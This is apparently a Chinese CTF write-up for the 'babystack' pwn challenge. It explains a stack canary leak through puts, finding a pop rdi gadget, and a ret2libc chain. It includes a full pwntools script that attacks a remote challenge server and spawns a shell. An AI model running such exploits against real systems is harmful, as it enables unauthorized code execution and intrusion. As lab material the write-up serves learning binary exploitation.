0%

pwnh8_babystack

本题,用checksec检查二进制,发现开启了CANARY、NX、以及RELRO保护,CANARY是用来检测栈溢出的,canary是一个随机数,存储在栈里。程序通过对比栈里的canary值和读取到的实际canary值进行对比,如果不相等,则抛出异常。因此,为了绕过canary机制,我们需要先想泄露canary的值,然后利用栈溢出,把这个值放到payload中对应的位置里,这样,程序发现canary的值没变,我们就成功绕过。

为了泄露canary的值,我们的利用一下puts函数的特性,puts函数会一直输出某地址的数据直到遇到\x00

通过IDA,我们发现这里CANARY存于栈底上面一个位置

然后我们查看buf的位置,距离栈底0x90,那么buf距离canary的位置为0x88,。

于是,我们先构造这样的payload,因为canary值开始的地方可能会有0数据,所以,我们使用循环,将0覆盖为a,一次次的尝试,当puts输出的数据长度大于我们发送的数据长度时,说明canary的值已经被泄露成功,我们要立即结束循环,并且记下当前覆盖了canary的多少个0数据,然后,我们在前面填充这么多个\x00数据,最后截取前8字节数据,就得到了canary代表的字符串(是乱码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#0x88过后0x89开始便是canary,但由于0x89可能是0,为了利用put泄露canary,我们就先将这里覆盖为aa  
payload = 'a'*(0x88)

c = ''
#覆盖canary的前导0
for i in range(0,8):
sh.send(payload+'a'*i)
sh.recvuntil('>> ')
sh.sendline('2')
sh.recv(0x88+i)
c = sh.recvuntil('\n').split('\n')[0]
# print c
l = len(c)
if l > 4: #长度大于我们发送的字符串长度,说明数据已经暴露出来了
break;
sh.recvuntil('>> ')
sh.sendline('1')
#print c
#补齐8字节
for j in range(0,i):
c = '\x00' + c

#取前8字节数据,这才是canary
c = c[0:8]

得到了canary,我们就可以进行栈溢出ROP操作了
还有一点就是,本题给的libc是假的,和服务器上的不一致,因此我们使用libcSearcher,而不使用这个库。

X64传参的方式
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

因此,为了将数据放入rdi寄存器,我们需要找到一条pop rdi的指令,我们不能把指令写在栈里,因为开启了栈不可执行保护。我们发现了,在IDA中搜索pop,我们发现了这里可以被我们利用

我们选择pop r15,选择undefine

然后选择下面的两字节数据,选择Code

这样,就出现了pop rdi指令,这是一种巧妙的方法,类似的,我们可以对r14,r13操作,获得其他相关指令,它的地址为0x400A93,并且过后还有一个retn,我们完全可以把这里看成是一个函数的开始

我们最终的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#coding:utf8  
#本题给的libc是假的,所以我们使用LibcSearcher
from pwn import *
from LibcSearcher import *

#context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
#context.log_level='debug'

#sh = process('./babystack')
sh = remote('111.198.29.45',39287)
sh.recvuntil('>> ')

sh.sendline('1')

#0x88过后0x89开始便是canary,但由于0x89可能是0,为了利用put泄露canary,我们就先将这里覆盖为aa
payload = 'a'*(0x88)

c = ''
#覆盖canary的前导0
for i in range(0,8):
sh.send(payload+'a'*i)
sh.recvuntil('>> ')
sh.sendline('2')
sh.recv(0x88+i)
c = sh.recvuntil('\n').split('\n')[0]
# print c
l = len(c)
if l > 4: #长度大于我们发送的字符串长度,说明数据已经暴露出来了
break;
sh.recvuntil('>> ')
sh.sendline('1')

#print c
#补齐8字节
for j in range(0,i):
c = '\x00' + c

#取前8字节数据,这才是canary
c = c[0:8]

#print c
canary = u64(c)

print 'canary=',hex(canary)
mainaddr = 0x400908
elf = ELF('./babystack')

#经过验证,我们尽量暴露那些程序中使用的函数,假如我们改成write函数,发现不能getshell
put_got = elf.got['puts']
put_plt = elf.sym['puts']
#pop edi指令所在的地址
#64位函数参数传递方式,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
popedi = 0x400A93

popesi = 0x400a91

#暴露了canary,接下来,我们就可以利用栈溢出了,函数重新返回到main
payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(popedi) + p64(put_got) + p64(put_plt) + p64(mainaddr)

sh.recvuntil('>> ')
sh.sendline('1')
sh.send(payload)

sh.recvuntil('>> ')
sh.sendline('3')

#泄露puts的加载地址
puts_addr = u64( (sh.recvuntil('\n').split('\n')[0].ljust(8,'\x00')) )

libc = LibcSearcher('puts',puts_addr)

#获取libc加载基地址
libc_base = puts_addr - libc.dump('puts')
#获取system加载地址
system_addr = libc_base + libc.dump('system')
#获取binsh字符串
binsh_addr = libc_base + libc.dump('str_bin_sh')

print 'system() addr=',hex(system_addr)
print 'binsh addr=',hex(binsh_addr)

#getshell
payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(popedi) + p64(binsh_addr) + p64(system_addr)
sh.recvuntil('>> ')
sh.sendline('1')
sh.send(payload)

#执行getshell
sh.recvuntil('>> ')
sh.sendline('3')

sh.interactive()